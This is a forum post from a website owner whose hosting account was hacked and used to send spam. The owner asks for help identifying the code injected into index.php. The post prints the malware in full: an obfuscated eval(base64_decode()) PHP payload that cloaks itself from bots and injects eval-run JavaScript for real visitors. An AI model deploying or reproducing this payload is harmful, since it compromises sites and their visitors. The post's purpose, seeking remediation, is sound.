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eval base64_decode php virus
A few days ago I noticed that none of my mail scripts were working anymore. I inquired with the hosting provider and they informed me that that my hosting account was somehow hacked by spammers and I had reached my 'emails per hour' limit, which was an indication that some sort of malicious code was placed on my site that sent the enormous amounts of emails.
I just checked my code and I found this chunk of mystery code that was placed at the top of my index.php page. I have absolutely no idea what it does or how it might send email out, unless it somehow latches onto my email scripts. What is this mystery code that was placed on my site?
Also, if I remove this code, should it clear up my problems? Is there anything else I can to find out if anything else was added on my server? And I'm guessing that the only way the code got added to my index.php file is that my account itself was hacked and they manually added it, so is there anything I can do to ensure this doesn't happen again?
Code that was placed on my home page:
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcFlUMG9JblkxTXpKaU5TSXVjM0JzYVhRclJHRjBaU2t1YzNWaWMzUnlLREFzTmlrN1lXRTlLRnRkTG5KbGRtVnljMlVyVzEwdWNtVjJaWEp6WlNrdWMzVmljM1J5S0RBc05pazdhV1lvWVdFOVBUMWhLUXBtUFZzdE16QXNMVE13TERZMkxEWXpMQzAzTERFc05qRXNOeklzTmpBc056Z3NOekFzTmpJc056RXNOemNzTnl3Mk5DdzJNaXczTnl3ek1DdzJPU3cyTWl3M01DdzJNaXczTVN3M055dzNOaXd5Tnl3NE1pdzBOU3cxT0N3Mk5Dd3pPU3cxT0N3M01DdzJNaXd4TERBc05Ua3NOeklzTmpFc09ESXNNQ3d5TERVeUxEa3NOVFFzTWl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTml3Mk15dzNOU3cxT0N3M01DdzJNaXczTlN3eExESXNNakFzTFRNd0xDMHpNQ3c0Tml3dE55dzJNaXcyT1N3M05pdzJNaXd0Tnl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTVN3M01pdzJNQ3czT0N3M01DdzJNaXczTVN3M055dzNMRGd3TERjMUxEWTJMRGMzTERZeUxERXNMVFVzTWpFc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc0xUY3NOellzTnpVc05qQXNNaklzTUN3Mk5TdzNOeXczTnl3M015d3hPU3c0TERnc05qZ3NPRE1zTmpnc056QXNPRElzTnpFc05qTXNOeXc0TXl3NE1pdzNNU3czTml3M0xEWXdMRGN5TERjd0xEZ3NOakVzT0N3eE15dzVMREV6TERjc056TXNOalVzTnpNc01qUXNOalFzTnpJc01qSXNNVEFzTUN3dE55dzRNQ3cyTml3Mk1TdzNOeXcyTlN3eU1pd3dMREV3TERrc01Dd3ROeXcyTlN3Mk1pdzJOaXcyTkN3Mk5TdzNOeXd5TWl3d0xERXdMRGtzTUN3dE55dzNOaXczTnl3NE1pdzJPU3cyTWl3eU1pd3dMRGM1TERZMkxEYzJMRFkyTERVNUxEWTJMRFk1TERZMkxEYzNMRGd5TERFNUxEWTFMRFkyTERZeExEWXhMRFl5TERjeExESXdMRGN6TERjeUxEYzJMRFkyTERjM0xEWTJMRGN5TERjeExERTVMRFU0TERVNUxEYzJMRGN5TERZNUxEYzRMRGMzTERZeUxESXdMRFk1TERZeUxEWXpMRGMzTERFNUxEa3NNakFzTnpjc056SXNOek1zTVRrc09Td3lNQ3d3TERJekxESXhMRGdzTmpZc05qTXNOelVzTlRnc056QXNOaklzTWpNc0xUVXNNaXd5TUN3dE16QXNMVE13TERnMkxDMHpNQ3d0TXpBc05qTXNOemdzTnpFc05qQXNOemNzTmpZc056SXNOekVzTFRjc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc056VXNNU3d5TERnMExDMHpNQ3d0TXpBc0xUTXdMRGM1TERVNExEYzFMQzAzTERZekxDMDNMREl5TEMwM0xEWXhMRGN5TERZd0xEYzRMRGN3TERZeUxEY3hMRGMzTERjc05qQXNOelVzTmpJc05UZ3NOemNzTmpJc016QXNOamtzTmpJc056QXNOaklzTnpFc056Y3NNU3d3TERZMkxEWXpMRGMxTERVNExEY3dMRFl5TERBc01pd3lNQ3cyTXl3M0xEYzJMRFl5TERjM0xESTJMRGMzTERjM0xEYzFMRFkyTERVNUxEYzRMRGMzTERZeUxERXNNQ3czTml3M05TdzJNQ3d3TERVc01DdzJOU3czTnl3M055dzNNeXd4T1N3NExEZ3NOamdzT0RNc05qZ3NOekFzT0RJc056RXNOak1zTnl3NE15dzRNaXczTVN3M05pdzNMRFl3TERjeUxEY3dMRGdzTmpFc09Dd3hNeXc1TERFekxEY3NOek1zTmpVc056TXNNalFzTmpRc056SXNNaklzTVRBc01Dd3lMREl3TERZekxEY3NOellzTnpjc09ESXNOamtzTmpJc055dzNPU3cyTml3M05pdzJOaXcxT1N3Mk5pdzJPU3cyTml3M055dzRNaXd5TWl3d0xEWTFMRFkyTERZeExEWXhMRFl5TERjeExEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEY3pMRGN5TERjMkxEWTJMRGMzTERZMkxEY3lMRGN4TERJeUxEQXNOVGdzTlRrc056WXNOeklzTmprc056Z3NOemNzTmpJc01Dd3lNQ3cyTXl3M0xEYzJMRGMzTERneUxEWTVMRFl5TERjc05qa3NOaklzTmpNc056Y3NNaklzTUN3NUxEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEYzNMRGN5TERjekxESXlMREFzT1N3d0xESXdMRFl6TERjc056WXNOaklzTnpjc01qWXNOemNzTnpjc056VXNOallzTlRrc056Z3NOemNzTmpJc01Td3dMRGd3TERZMkxEWXhMRGMzTERZMUxEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xEWXpMRGNzTnpZc05qSXNOemNzTWpZc056Y3NOemNzTnpVc05qWXNOVGtzTnpnc056Y3NOaklzTVN3d0xEWTFMRFl5TERZMkxEWTBMRFkxTERjM0xEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xDMHpNQ3d0TXpBc0xUTXdMRFl4TERjeUxEWXdMRGM0TERjd0xEWXlMRGN4TERjM0xEY3NOalFzTmpJc056Y3NNekFzTmprc05qSXNOekFzTmpJc056RXNOemNzTnpZc01qY3NPRElzTkRVc05UZ3NOalFzTXprc05UZ3NOekFzTmpJc01Td3dMRFU1TERjeUxEWXhMRGd5TERBc01pdzFNaXc1TERVMExEY3NOVGdzTnpNc056TXNOaklzTnpFc05qRXNNamdzTmpVc05qWXNOamtzTmpFc01TdzJNeXd5TERJd0xDMHpNQ3d0TXpBc09EWmRPMjFrUFNkaEp6dGxQWGRwYm1SdmR5NWxkbUZzTzNjOVpqdHpQU2NuTzJjOUoyWW5LeWR5YnljckoyMURhQ2NySjJGeUp5c25RMjlrSnlzblpTYzdabTl5S0drOU1EdHBMWGN1YkdWdVozUm9QREE3YVNzcktYdHpQWE1yVTNSeWFXNW5XMmRkS0RNNUszZGJNQ3RwWFNrN2ZRcHBaaWhoUFQwOVlXRXBDbVVvSjJVbkt5Y29KeXNuY3ljckp5a25LVHM4TDNOamNtbHdkRDQ9JykpOw0KfQ=='));